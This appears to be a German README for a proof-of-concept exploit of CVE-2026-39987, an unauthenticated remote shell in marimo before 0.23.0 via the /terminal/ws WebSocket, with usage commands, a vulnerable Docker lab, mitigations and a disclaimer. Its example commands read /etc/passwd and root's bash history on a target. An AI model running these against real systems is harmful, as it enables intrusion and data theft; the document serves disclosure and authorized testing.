
CVE-2026-39987
Nicht authentifizierte Remote-Codeausführung in Marimo über WebSocket-Terminal
CVE-2026-39987 ist eine kritische Sicherheitslücke zur Remote-Codeausführung vor der Authentifizierung (Pre-Auth RCE), die Marimo-Versionen vor 0.23.0 betrifft. Der WebSocket-Endpunkt /terminal/ws umgeht vollständig die Authentifizierung, sodass jeder nicht authentifizierte Angreifer eine vollständige interaktive PTY-Shell mit den Berechtigungen des Marimo-Prozesses (in Docker-Umgebungen typischerweise root) erhalten kann.
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// → ws:// und https:// → wss://CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Haupt-Exploit
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Persistente Notebooks (optional)
├── README.md
└── LICENSE
pip install websocket-client
# Grundlegende Verwendung
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# Systemerkundung
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# Sensible Dateien auslesen
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
Dann testen:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0 aktualisieren/terminal/ws über Firewall- oder Proxy-Regeln einschränkenDieser Proof of Concept dient ausschließlich zu Bildungszwecken und autorisierten Sicherheitstests. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden. Stellen Sie sicher, dass Sie vor dem Testen eines Systems die ausdrückliche Erlaubnis haben.
Ethisch und verantwortungsbewusst einsetzen.
Erstellt für Sicherheitsforschung und verantwortungsvolle Offenlegung.